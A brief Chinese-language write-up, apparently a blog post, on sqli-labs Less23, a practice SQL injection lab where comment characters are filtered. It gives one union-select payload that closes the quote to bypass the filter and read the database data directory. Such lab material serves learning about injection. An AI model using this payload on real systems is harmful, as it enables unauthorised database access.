0%

sqli-labs靶场Less23(过滤了注释符的绕过)

Less23

本关对id参数过滤了#--的处理。但是还可以使用闭合的方式来注入

1
?id=-1' union select 1,@@datadir,'3

image